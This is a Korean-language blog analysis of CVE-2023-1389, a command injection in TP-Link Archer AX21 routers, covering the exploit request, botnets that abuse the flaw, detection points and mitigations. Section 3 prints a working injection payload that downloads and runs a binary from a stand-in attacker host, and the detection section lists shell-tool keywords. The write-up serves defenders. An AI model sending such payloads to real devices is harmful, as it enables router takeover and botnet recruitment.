
CVE-2023-1389
1. Vulnerability Overview
| 대상 제품 | 대상 버전 | 취약점 유형 | Root cause | 사전 조건 | |
| TP-Link Archer AX21 (AX1800) |
Version 1.1.4 Build 20230219 or prior |
Command Injection |
/cgi-bin/luci/:stok=/locale .. &country= .. | 라우터의 웹 관리 인터페이스에 네트워크 레벨 접근이 가능해야 한다. | |
2. Execution Summary
이 CVE가 무엇이고, 어떤 환경에서 가장 위험한지 요약
- TP-Link 社는 네트워킹과 스마트홈 제품의 글로벌 제공사로 라우터, 스위치, 보안 카메라를 공급한다.
- TP-Link Archer AX21(AX1800)은 TP-Link에서 제공하는 라우터로 문제가 발생한 버전은 1.1.4 이하다.
- 웹 관리 인터페이스의 `/cgi-bin/luci;stok=/local`의 country 매개변수에 대한 입력 값 검증이 미흡하여 문제가 발생했다.
- 명령어 주입이 성공하면 간단한 POST 요청 하나만으로 root 실행 권한을 획득할 수 있다.
3. Exploit & Behavior Analysis
POST /cgi-bin/luci/;stok=/locale?form=country HTTP/1.1
Host: <target router>
Content-Type: application/x-www-form-urlencoded
Content-Length: ...
operation=write&country=$(<malicious command>)
서버 동작 흐름
- form=country + operation=write 조합일 때
- country 매개변수 값이 내부 로직에서 popen()으로 전달된다.
- 세미콜론(;), &&, ` 등 shell 메타 문자를 활용하면 임의 shell 명령 실행 가능
operation=write&country=US;wget http://attacker[.]host/mips;chmod +x mips;./mips
4. Threat Scenario
Fortinet, Broadcom, Wolfpack Cybernetics 등 보고서에 따르면 다양한 봇넷이 공격 벡터로 채택했다.
AGoent (Golan 기반 에이전트)
- 취약한 AX21에 shell 명령을 주입해 RFI 서버에서 exec.sh 스크립트를 다운로드한다.
- exec.sh는 다양한 아키텍처용 ELF 바이너리를 순차 실행하며, 감염 장비의 계정·환경 정보를 C2에 전송하고 지속 통신 채널을 확보한다.
- 주 목적은 봇넷 노드 확보 및 원격 제어 인프라 확장이다.
Gafgyt Variant (BASHLITE 계열)
- AX21 RCE를 이용해 bin.sh 스크립트를 내려받고, rebirth.x86 등 아키텍처 별 바이너리를 실행한다.
- 감염 후 C2 서버와 연결되어 UDP/TCP Flood 등 다양한 DDoS 공격 벡터를 수행한다.
- 취약한 라우터는 트래픽 발사대로로 활용된다.
Moobot
- 1.sh 단일 스크립트로 감염 프로세스를 wrapping하여 x86_64 등 여러 아키텍처용 ELF 파일을 실행한다.
- XOR 키와 하드코딩된 문자열 을 사용해 C2 통신 내용을 숨기고, 일부 분석 및 탐지를 회피한다.
- 주 역할은 원격 DDoS 수행 및 추가 명령 실행이다.
Miori
- HTTP/TFTP 기반으로 스크립트와 ELF 파일을 수신하고, 감염 후 "your device just got infected to a bootnoot" 같은 출력 메시지를 남긴다.
- 단순 DDoS 외에 약한 자격증명 Brute-Force 기능을 포함하고, 하드코딩된 암호 목록을 활용해 추가 전파를 시도한다.
5. Detection & Mitigation
5-1. 로그 소스별 탐지 포인트 (Detection)
Network / WAF
- URI 패턴 : POST /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=
- country 매개변수 내 shell 주입 흔적 : ;, &&, wget, chmod, ./, $( 등 키워드
- 외부 다운로드 트래픽 : VirusTotal 등에 등록된 IoC urls
- C2/ 이상 outbound 통신 추적 : C2 도메인 / IP로의 접근
Host / EDR / System
- 웹 서버 / 관리 프로세스 : sh, busybox, wget, curl, chmod 등 프로세스를 자식 프로세스로 생성
- 프로세스 계층 : 웹 서버 프로세스 > Shell command > 히스토리 삭제 (history -c)
- 파일 다운로드 후 실행하며 자기 삭제(rm -f <script>) 또는 압축 해제(UPX) 등
- 비정상 프로세스명·무작위 문자열 포함 프로세스 실행 (예: MOOBOT 무작위 문자열 생성)
Application log
- 관리자 인증 로그 없이 국가 설정 (country) 변경 요청이 다수 발생
- 특정 단일 외부 IP에서 짧은 기간 동안 /locale?form=country 엔드포인트에 반복 요청
5-2. 행위 기반 탐지 시나리오
"만약 공격자가 이 CVE를 통해 RCE를 얻었다면, 이어지는 행위는 무엇일까?"를 가정한 흐름.
- Exploit 요청 : 외부 공격자가 AX21의 웹 포트에 대해 POST /cgi-bin/luck;stok=/locale?form=coutnry 요청
- 다운로드 & 실행 : 라우터에서 공격자 서버로 HTTP 요청 → ELF 바이너리 다운로드
- C2 등록 :
- 새 프로세스가 C2 도메인 / IP와 통신 시작
- 규칙적인 beacon, 설정값 교환, DDoS 명령 수신 등
- 공격 확산 / DDoS 참여 : DDoS 명령 수신 시 외부 타깃으로 대량 UDP/TCP 트래픽 전송
네트워크 환경에서는 "라우터 관리 프로토콜의 이상 POST 요청" + "직후 외부 IP로의 파일 다운로드" + "지속적인 C2 세션"조합을 탐지 규칙으로 삼을 수 있다.
5-3. 대응 방안 (Mitigation)
- V3_1.1.4 Build 20230219 이상 버전으로 업그레이드
- WAF : HTTP POST 요청에서 `country=` 매개변수 포함 여부 + ;wget, chmod 등 쉘 명령을 포함한다.
- 라우터 관리 인터페이스 접속 기록이 없는데 /locale endpoint에 설정 변경 요청이 다수 발생 시 탐지
- 라우터/IoT 장비에서 의심 C2 도메인/IP로의 outbound 트래픽 탐지 시 알림 자동 전송화
6. Conclusion & Lesson learned
- 인터넷에 노출된 관리 인터페이스의 입력 검증 부재는 치명적이다.
- 제품 설계 시 외부 노출 인터페이스에 대한 "입력값 검증 + 최소 권한 실행"은 기본이어야 한다.
- 비인가 접근 / 실행 가능성의 위험
- 공격자는 초기 인증 없이 POST 요청으로 root 실행 권한을 획득했다.
- IoT/네트워킹 장비의 "root 권한 획득 → 봇넷 활용" 흐름이 쉽게 이어진다.
- 루트 권한을 획득하면 C2 연결, 확산, DDoS 등 자동화 공격 흐름이 다수 확인된다.
- 이러한 장치들은 단순한 홈용 IoT가 아니라 조직의 edge 인프라로도 사용이 위험하다는 인식이 필요하다.
- 보안 설계의 다층 방어(Defense-in-Depth)가 필수다.
- 입력 검증만으로는 부족하며, 네트워크 세분화 / 접근 제어 / 모니터링 / 탐지체계가 동행되어야 한다.
"단일 실패 지점 (Single point of failure)"이 없는 구조를 만들어야 한다.
- 입력 검증만으로는 부족하며, 네트워크 세분화 / 접근 제어 / 모니터링 / 탐지체계가 동행되어야 한다.
Appendix
- Botnets Continue Exploiting CVE-2023-1389 for Wide-Scale Spread | FortiGuard Labs
- Continued Scanning for CVE-2023-1389 | F5 Labs
- Intrusion Prevention | FortiGuard Labs
- Unauthenticated Command Injection in TP-Link Archer AX21 (AX1800) - Research Advisory | Tenable®
'CVE' 카테고리의 다른 글
| TBKVision DVR 취약점(CVE-2024-3721) (0) | 2025.11.21 |
|---|